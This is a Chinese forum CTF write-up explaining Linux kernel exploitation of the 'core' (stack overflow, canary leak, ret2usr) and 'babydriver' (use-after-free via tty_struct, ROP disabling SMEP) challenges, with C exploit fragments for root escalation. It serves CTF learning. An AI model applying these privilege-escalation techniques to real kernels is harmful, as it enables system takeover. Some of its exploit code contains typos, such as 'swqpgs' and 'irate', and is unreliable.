linux kernel pwn 分析(一) 强网杯core + ciscn babydriver
作为一个kernel pwn 刚刚入门的同学,想分享一下自己的经验,这几道kernel pwn的题目当时比赛的时候没有做出来,后来对照着大佬的write up复现了一波,仔细研究了一下。
准备分析core babydriver solid_core这三道题,如果能弄懂了这三道题入门应该没问题了。
第一篇文章讲core 和 babydriver;
第二篇文章讲 solid_core(因为很难所以单独一篇文章分析);
第三篇文章讲一下linux kernel 堆分配 slub分配器和内核堆溢出的例子。
首先讲一点准备知识:
附件已经上传,分别使用cat core* | tar xzvf -和cat babydriver* | tar xzvf -进行解压就可以了,大佬们的exp也包含在里面。(点击阅读原文,即可获得附件)
如何起系统?
ctf的kernel pwn中一般会给出qemu起系统的脚本,随便举一例 。
qemu-system-x86_64 \ -m 256M \ -kernel ./bzImage \ -initrd ./initrd.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \ -cpu qemu64,+smep,+smap \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -s \ -nographic -enable-kvm \
比较重要的是qemu-system-x86制定处理器体系。
-m指定内存,
-s选项默认指定 开启更gdb远程调试端口 1234 。
比较常见的如何解包?
$ mkdir core
$ mv core.cpio ./core/core.cpio.gz
$ cd core
$ gunzip core.cpio.gz
$ cpio -idmv < core.cpio
这个时候,将exp放入系统的一个目录中。
$ nano init
这条命令用于编辑init,一般用于删除定时关机。
$find . | cpio -o -H newc | gzip > ../core.cpio
用于重新打包 也可以用这几条:
$ ./gen_cpio.sh core.cpio
$ mv core.cpio ../core.cpio
$ cd ..
$ rm -rf core
gdb调试的时候遇到一些问题:
target remote:1234 这个时候如果返回,一堆字符显示过长,
set architecture i386:x86-64:intel 使用这条命令设置架构 。
在运行时载入模块的符号表:
grep 0 /sys/module/your_module/sections/.text
add-symbol-file ./your_module.ko text
其中your_module是你要加载的驱动模块,text为第一行命令的返回值。
如何得到kernel rop?
如果有ELF形式的vmlinux映像可以直接用ROPgadgets,但更多时候我们只有bzImage,这个时候需要用extract-vmlinux进行提权,它在内核源码的scripts中,搜索自己linux系统的内核源码就能找到。
强网杯一共有两道kernel pwn题,solid_core网上有出题人详细的思路讲解。
首先看最简单的一道题 core,是入门级别的一个简单的内核栈溢出,关于内核栈溢出,我认为和用户态的栈溢出在本质上是一样的,只是在此基础上需要做很多准备工作,保证在内核态实现提权之后返回用户态系统不会崩溃,从而可以成功的拿到root权限的shell。
首先,我们来看题目给出了core.ko驱动文件,将它放入ida中:
如何leak canary?
可以看出这是出题人自行实现的ioctl系统,是kernel中比较常见的一种类型,f5一下:
看到core_read函数中,在copy_to_user调用时v6+off,可以用来leak canary,查看core_read的汇编代码,出入的rsi参数是v6,为rsp,canary的值在rsp+0x40处,因此,只要将off的值设置为0x40,读出的第一个值即为canary值。
如何设置off?
首先看module_init 创建了一个proc文件,ioctl具体源码的分析留到本文的下半部分分析,因为babydriver的利用会用到。现在只需要知道,ioctl系统调用会根据传入的文件描述符去调用文件自己定义的ioctl系统,在这里就是core_ioctl。ioctl总共有三条指令,当传入的指令为0x6677889C的时候,会将传入的值设置为off。
溢出点在哪?
现在可以设置off了,也就可以leak canary,再来看栈上的溢出点。
core_ioctl接受的指令为0x6677889A时,调用core_copy_func,f5看起源码,发现存在一个整数的有符号和无符号之间错用的问题,传入的参数a1为signed int,与63进行比较,而在qmemcpy的时候,又转化为unsigned int,因此只要开始传入a1为负数,即可过检查,并且转化为unsigned的时候会变成大整数,即可实现将name中的值覆盖栈上的返回值。
name如何设置?
可以看到驱动还定义了core_write函数,并没有检查size,直接写入name。
因此本题的总体思路如下:
首先设置off;
之后通过core_read leak canary;
然后通过write将payload写入name全局变量;
最后通过core_copy栈溢出劫持控制流;
控制流我们已可以经劫持了,用户态的pwn只要再弹一个shell即可完成利用。
但内核态还需要更多的操作保证系统的稳定性。
我们劫持的控制流是进入内核态的,拥有特权,因此可以完成提权。
通用的提权代码是:
commit_creds(prepare_kernel_cred(0));
这两个函数如何动态获得?
借助/proc/kallsyms符号表,在运行时动态读取。这个很容易实现,贴出一例:
unsigned long find_symbol_by_proc(char *file_name, char *symbol_name)
{
FILE *s_fp;
char buff[200] = {0};
char *p = NULL;
char *p1 = NULL;
unsigned long addr = 0;
s_fp = fopen(file_name, "r");
if (s_fp == NULL){
printf("open %s failed.\n", file_name);
return 0;
}
while (fgets(buff, 200, s_fp) != NULL){
if (strstr(buff, symbol_name) != NULL){
buff[strlen(buff) - 1] = '\0';
p = strchr(strchr(buff, ' ') + 1, ' ');
++p;
if (!p) {
return 0;
}
if (!strcmp(p, symbol_name)){
p1 = strchr(buff, ' ');
*p1 = '\0';
sscanf(buff, "%lx", &addr);
//addr = strtoul(buff, NULL, 16);
printf("[+] found %s addr at 0x%x.\n",symbol_name, addr);
break;
}
}
}
之后我们需要稳定系统,在内核返回用户态的时候,会调用iretq,iretq会依次弹出 rip cs eflags rsp ss之后做一些判断,因此如果不能构造好这些参数,系统会崩溃,无法get root shell。
我们采取的方法是:提前构造一个save_state()函数,进入内核态前存储这些参数,用来构造payload。
static void save_state()
{
asm(
"movq %%cs, %0;"
"movq %%ss, %1;"
"pushfq;"
"pop %2;"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_eflag)
:
: "memory");
}
很简单的一个函数,将cs ss eflag 分别存储在三个我们自定义的变量中。至于rip和rsp则是要我们自己去构造为getshell 的rip。这样返回用户态之后回去指向system("/bin/sh")。
int main()
{
if((base = mmap(0, 0x40000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0))==NULL)
{
perror("mmap");
exit(0);
}
int fd;
char tmp[64];
fd = open("/proc/core",O_RDWR);
ioctl(fd,COMMAND_PRINT,0x40);
ioctl(fd,COMMAND_READ,&tmp);
memcpy(&canary, tmp, 8);
char payload[] = {
0,0,0,0,0,0,0,0,
canary,
base+0x20000,
shellcode
};
write(fd, payload, 160);
ioctl(fd, IOCTL_COMMAND_COPY, 0xff00000000000008);
return 0;
}
main函数首先mmap一块地址,用来作为伪造栈。这题中返回用户态之后的伪造栈是什么没有影响。可以看到在调用core_copy之后劫持控制流去指向shellcode(),static void shellcode()。
{
commit_creds(prepare_kernel_cred(0));
asm(
"swqpgs;"\\
"movq %0 %%rax;"
"push %%rax;"
"movq %1 %%rax;"
"push %%rax;"
"movq %2 %%rax;"
"push %%rax;"
"movq %3 %%rax;"
"push %%rax;"
"movq %4 %%rax;"
"push %%rax;"
"irate;"
:
:"r"(user_ss),"r"()\\,"r"(user_eflags),"r"(user_cs),"r"(get_shell)
:"memory"
);
}
shellcode首先实现提权,之后构造栈稳固程序,返回用户态。这个时候我们可以看到rip的位置是我们的get_shell函数指针,getshell中调用system,因此返回后可以在root权限下弹出shell,利用完成。
之后通过开头的解包方法先去掉定时shutdown,之后将exp放入系统,qemu起系统,实现提权。
通过core这题我们可以发现,kernel pwn比用户态的pwn多了很多的准备工作,kernel pwn除了栈溢出和堆溢出还有条件竞争,babydriver 是一个简单的全局变量的竞争问题。
babydriver
照例先放入ida进行分析,同样实现了一套ioctl系统。
首先是babydriver_init中,调用了device_create,创建了叫babydev的文件系统。
babyioctl中定义了一条命令 command 65537。
它将会释放掉全局变量babydev_struct中的自定义的buf,重新申请一块,按照用户重新传入的size,然后更新len。
下面进行分析每一个设备操作函数,找出漏洞点
babyopen:
调用kmalloc_caches申请一块堆空间,关于linux kernel 的对管理,会在第三篇文章单独进行分析。申请的内存空间的大小为64字节,讲地址存储在device_buf,并将全局变量babydev_struct的device_buf_len更新为64。
再看babywrite和babyread函数 。
babywrite 函数中在调用copy_from_user之前会检查device_buf_len是否大于用户要求的长度,否则不会执行。
同理babyread函数也会进行检查,也就是说不存在内存的溢出点。
这个时候我们想起了全局变量,如果我们能够打开两个设备文件描述符,第二个文件描述符再调用command更新,为某大小,之后将其释放,这时,我们还有另一个文件描述符,可以对其进行写,实现use after free的利用。
更新的size应该设置为多大?
我们这里要利用一种设备 tty 通过打开'/dev/ptmx'来进行操作,通过改写tty_struct的tty_opreations结构体 *ops中国ioctl函数指针从而劫持控制流
tty_operations 结构体如下,只需要在exp中声明一个结构体,并将其中的
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
就是覆盖掉这个指针。
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
const struct file_operations *proc_fops;
};
我们伪造一块tty_struct,然后利用command申请一块command大小的堆块,将其释放。简单的说一下slub管理器,在slub中,所有的内存块都被当作object来看待,系统维护了一个kmem_cache[12]的结构体数组,每个kmem_cache中有很多链表,其中有kmem_cache_cpu,分配时根据不同的cpu先从这个链表中进行分配,开始申请的时候,会先分配一页,将这一页分割成相同大小的内存块,每一个内存块对应于一个object,放在kmem链表中。也就是说kmem_cache只能分配固定大小的内存块。
因此,我们通过申请一块,释放掉,它会被放入相应的slab链表中,这个链表会被归入到部分使用的页的链表中,之后再大量申请此大小的内存块,会将所有空闲内存块都申请出来,自然会将其申请出来。之后即可利用uaf。
这题开启了smep,所以我们的payload不能直接写在用户态的程序之中,采用开头说的方法在vmlinux中找rop。
具体找什么样子的rop?
我们带入调试,发现内核在调用tty系统的ioctl的时候,会将地址先放入rax,之后call rax。如果我们能xchg eax esp,就能将rsp的值转换成我们放入的rop地址的后四位,而后四位肯定是位于用户态的,而用户态的地址是我们可以控制的,只要事先mmap并放入事先伪造好的栈,就能劫持控制流。
smep开启了即使有内核rop,如何实现提权呢?
在这里我们采取的方法是,先通过rop关闭smep,之后返回用户态调用最基础的提权代码。
smep的开启关闭是通过cr4寄存器来标记的,只有通过rop改写cr4即可关闭smep,之后就是各种提权。
具体的调试过程
首先我们来构造rop chain,都需要哪些呢?
首先需要一个xchg eax esp,实现对栈的控制。
一个设置cr4,准备用pop rdi;和mov cr4 ,rdi;这两条实现。
还需要swapgs 和 iret用来稳固程序,以便顺利返回到用户态去弹出shell。
因此,整个的rop chain如下:
unsigned long rop_chain[]=
{
poprdiret,
0x6f0,
write_cr4,
关闭smep之后即可返回用户态
get_root,
提权完成,需要安全返回用户态
swapgs,
0,
iretq,
getshell,
user_cs,
user_eflags,
base+0x10000,
user_ss};
最后我们再从头捋一下思路:
1. 首先创建两个文件描述符;
2. 利用ioctl的command修改掉全局变量内存块为一块tty_struct大小的内存块;
3. 通过大量申请内存将此块申请出,此时,我们开启的众多的tty设备中,一定有一个的tty struct是我们通过baby_dev可以控制的;
4. 触发ufa 并改写tty_struct,tty_struct偏移为0x24的位置,改写伪造的ops,从而劫持控制流;
5. 通过将ioctl改写为 xchg eax esp,之后调用ioctl操作tty的时候会控制栈;
6. 通过改写cr4关闭smep;
7. 返回用户态提权。
参考
http://whereisk0shl.top/NCSTISC%20Linux%20Kernel%20pwn450%20writeup.html
https://www.anquanke.com/post/id/86490
http://www.360zhijia.com/anquan/370741.html/amp
- End -
看雪ID:obfuscation
https://bbs.pediy.com/user-799291.htm
本文由看雪论坛 obfuscation 原创
转载请注明来自看雪社区
热门技术文章推荐: